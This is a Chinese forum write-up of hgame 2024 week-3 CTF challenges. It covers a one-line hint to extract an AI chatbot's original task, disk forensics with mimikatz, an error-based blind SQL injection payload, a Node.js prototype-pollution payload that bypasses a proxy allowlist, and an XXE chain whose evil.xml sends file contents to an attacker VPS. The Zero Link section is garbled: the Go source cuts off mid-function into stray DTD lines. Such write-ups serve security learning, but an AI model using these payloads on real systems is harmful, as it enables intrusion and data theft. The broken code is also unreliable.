hgame week3 WEB和MISC全wp

____7n   ·   发表于 2024-02-22 22:49:58   ·   CTF&WP专版

MISC

与ai聊天

问它你原本的任务是啥?

vmdk取证

开局拿到一个vmdk文件,要找密码,用7z打开到如下位置

然后取出system和SAM用于提取哈希,丢到mimikatz中去看看ntlm:

最后上cmd5来解密

简单的取证,不过前十个有红包

在上一题的桌面上有个图片

https://nc0.cdn.zkaq.cn/md/19233/ef9c4877e5c3bb22e15ace437941e67c_11129.jpg

然后使用VeraCrypt解密就出了

Blind Sql Injection

https://nc0.cdn.zkaq.cn/md/19233/05c13be98d90350094be60b8fde6c0d1_69671.png

看报文报错盲注,flag就是密码:

核心代码

/search.php?id=1-(ascii(substr((Select(reverse(group_concat(password)))From(F1naI1y)),44,1))%3E63)

如果说上面这串表达式为真,那么id=0,这就会触发报错。

反之如果表达式不同意则会正常显示内容。

于是就可以挨个推断出flag字符串的每一个ascii值,最后转成字符后反转就出了。

PS:不要用gpt做任何数学相关的题目,可以使用赛博厨子,被坑惨了

WEB

开局源码如下:

const express = require("express");
const axios = require("axios");
const bodyParser = require("body-parser");
const path = require("path");
const fs = require("fs");
const { v4: uuidv4 } = require("uuid");
const session = require("express-session");

const app = express();
const port = 3000;
const session_name = "my-webvpn-session-id-" + uuidv4().toString();

app.set("view engine", "pug");
app.set("trust proxy", false);
app.use(express.static(path.join(__dirname, "public")));
app.use(
  session({
    name: session_name,
    secret: uuidv4().toString(),
    secure: false,
    resave: false,
    saveUninitialized: true,
  })
);
app.use(bodyParser.json());
var userStorage = {
  username: {
    password: "password",
    info: {
      age: 18,
    },
    strategy: {
      "baidu.com": true,
      "google.com": false,
    },
  },
};

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}
app.use("/proxy", async (req, res) => {
  const { username } = req.session;
  if (!username) {
    res.sendStatus(403);
  }
  let url = (() => {
    try {
      return new URL(req.query.url);
    } catch {
      res.status(400);
      res.end("invalid url.");
      return undefined;
    }
  })();

  if (!url) return;

  if (!userStorage[username].strategy[url.hostname]) {
    res.status(400);
    res.end("your url is not allowed.");
  }
  try {
    const headers = req.headers;
    headers.host = url.host;
    headers.cookie = headers.cookie.split(";").forEach((cookie) => {
      var filtered_cookie = "";
      const [key, value] = cookie.split("=", 1);
      if (key.trim() !== session_name) {
        filtered_cookie += `${key}=${value};`;
      }
      return filtered_cookie;
    });
    const remote_res = await (() => {
      if (req.method == "POST") {
        return axios.post(url, req.body, {
          headers: headers,
        });
      } else if (req.method == "GET") {
        return axios.get(url, {
          headers: headers,
        });
      } else {
        res.status(405);
        res.end("method not allowed.");
        return;
      }
    })();
    res.status(remote_res.status);
    res.header(remote_res.headers);
    res.write(remote_res.data);
  } catch (e) {
    res.status(500);
    res.end("unreachable url.");
  }
});

app.post("/user/login", (req, res) => {
  const { username, password } = req.body;
  if (
    typeof username != "string" ||
    typeof password != "string" ||
    !username ||
    !password
  ) {
    res.status(400);
    res.end("invalid username or password");
    return;
  }
  if (!userStorage[username]) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  if (userStorage[username].password !== password) {
    res.status(403);
    res.end("invalid username or password");
    return;
  }
  req.session.username = username;
  res.send("login success");
});

// under development
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});

app.get("/home", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
    return;
  }
  res.render("home", {
    username: req.session.username,
    strategy: ((list)=>{
      var result = [];
      for (var key in list) {
        result.push({host: key, allow: list[key]});
      }
      return result;
    })(userStorage[req.session.username].strategy),
  });
});

// demo service behind webvpn
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {
    res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

app.listen(port, '0.0.0.0', () => {
  console.log(`app listen on ${port}`);
});

发现这里的update函数可能存在原型链污染(赋值),但是这里过滤了__

function update(dst, src) {
  for (key in src) {
    if (key.indexOf("__") != -1) {
      continue;
    }
    if (typeof src[key] == "object" && dst[key] !== undefined) {
      update(dst[key], src[key]);
      continue;
    }
    dst[key] = src[key];
  }
}
//...
app.post("/user/info", (req, res) => {
  if (!req.session.username) {
    res.sendStatus(403);
  }
  update(userStorage[req.session.username].info, req.body);
  res.sendStatus(200);
});

不能用__proto__也可以用prototype构造payload

再看过滤规则:

if (!userStorage[username].strategy[url.hostname]) {
    res.status(400);
    res.end("your url is not allowed.");
  }
//...
app.get("/flag", (req, res) => {
  if (
    req.headers.host != "127.0.0.1:3000" ||
    req.hostname != "127.0.0.1" ||
    req.ip != "127.0.0.1" 
  ) {
    res.sendStatus(400);
    return;
  }
  const data = fs.readFileSync("/flag");
  res.send(data);
});

结合/proxy部分的代码,就是要利用自己来访问127.0.0.1:3000/flag,这就需要污染userStorage[username].strategy,浅浅构造一个payload

{"constructor":{"prototype":{"strategy":{"127.0.0.1:3000/flag":"true"}}}}

https://nc0.cdn.zkaq.cn/md/19233/f341d91d0748fffddec99b308d222b49_84910.png

https://nc0.cdn.zkaq.cn/md/19233/2fe896f19695256db682e9fced9c601e_36751.png

改改:

{"constructor":{"prototype":{"127.0.0.1":{"127.0.0.1:3000/flag":"true"}}}}

如果直接点击链接的话就会访问

/proxy?url=http://127.0.0.1

回显unreachable

要手动补齐/proxy?url=http://127.0.0.1:3000/flag

就能正常访问了

Zero Link

一道值得细细评鉴的go史

先看route.go

package routes

import (
    "fmt"
    "html/template"
    "net/http"
    "os"
    "os/signal"
    "path/filepath"
    "zero-link/internal/config"
    "zero-link/internal/controller/auth"
    "zero-link/internal/controller/file"
    "zero-link/internal/controller/ping"
    "zero-link/internal/controller/user"
    "zero-link/internal/middleware"
    "zero-link/internal/views"

    "github.com/gin-contrib/sessions"
    "github.com/gin-contrib/sessions/cookie"
    "github.com/gin-gonic/gin"
)

func Run() {
    r := gin.Default()

    html := template.Must(template.New("").ParseFS(views.FS, "*"))
    r.SetHTMLTemplate(html)

    secret := config.Secret.SessionSecret
    store := cookie.NewStore([]byte(secret))
    r.Use(sessions.Sessions("session", store))

    api := r.Group("/api")
    {
        api.GET("/ping", ping.Ping)
        api.POST("/user", user.GetUserInfo)
        api.POST("/login", auth.AdminLogin)

        apiAuth := api.Group("")
        apiAuth.Use(middleware.Auth())
        {
            apiAuth.POST("/upload", file.UploadFile)
            apiAuth.GET("/unzip", file.UnzipPackage)
            apiAuth.GET("/secret", file.ReadSecretFile)
        }
    }
    frontend := r.Group("/")
    {
        frontend.GET("/", func(c *gin.Context) {
            c.HTML(http.StatusOK, "index.html", nil)
        })
        frontend.GET("/login", func(c *gin.Context) {
            c.HTML(http.StatusOK, "login.html", nil)
        })

        frontendAuth := frontend.Group("")
        frontendAuth.Use(middleware.Auth())
        {
            frontendAuth.GET("/manager", func(c *gin.Context) {
                c.HTML(http.StatusOK, "manager.html", nil)
            })
        }
    }
    quit := make(chan os.Signal)
    signal.Notify(quit, os.Interrupt)

    go func() {
%dtd; %all; 
]> 
&send;

转utf-16

cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml

准备evil.xml

<!ENTITY % all "<!ENTITY send SYSTEM 'http://VPS-IP/upload.php?file=%file;'>">

然后开启http服务发evil.xml

python -m http.sever 80

http://139.224.232.162:30148/backdoor?fname=../../8.134.221.106/utf16exploit

就可以收到flag了

用户名金币积分时间理由
Track-魔方 100.00 0 2024-03-03 15:03:27 2月份投稿活动奖励结算 首次投稿一篇有效文章 100
Track-魔方 400.00 0 2024-02-29 20:08:01 深度 100 普适 200 可读 100

打赏我,让我更有动力~

附件列表

Zero Link.zip   文件大小:0.02M (下载次数:0)

webvpn.zip   文件大小:0.013M (下载次数:1)

VidarBox.zip   文件大小:3.75M (下载次数:1)

4 条回复   |  直到 2个月前 | 125 次浏览

Track-魔方
发表于 2个月前

有一张图片没了:

评论列表

  • 加载数据中...

编写评论内容

Track-魔方
发表于 2个月前

格式有点炸,这个也需要改改:

评论列表

  • 加载数据中...

编写评论内容

____7n
发表于 2个月前

改了

评论列表

  • 加载数据中...

编写评论内容

Track-魔方
发表于 2个月前

代码中有好多这种特殊符号被编码了,需要修改修改,evil.xml的内容没有,会吞代码啥的,可以用截图的方式放上去, 当然截图请同学尽量清晰一些:


评论列表

  • 加载数据中...

编写评论内容
登录后才可发表内容
返回顶部 投诉反馈

© 2016 - 2024 掌控者 All Rights Reserved.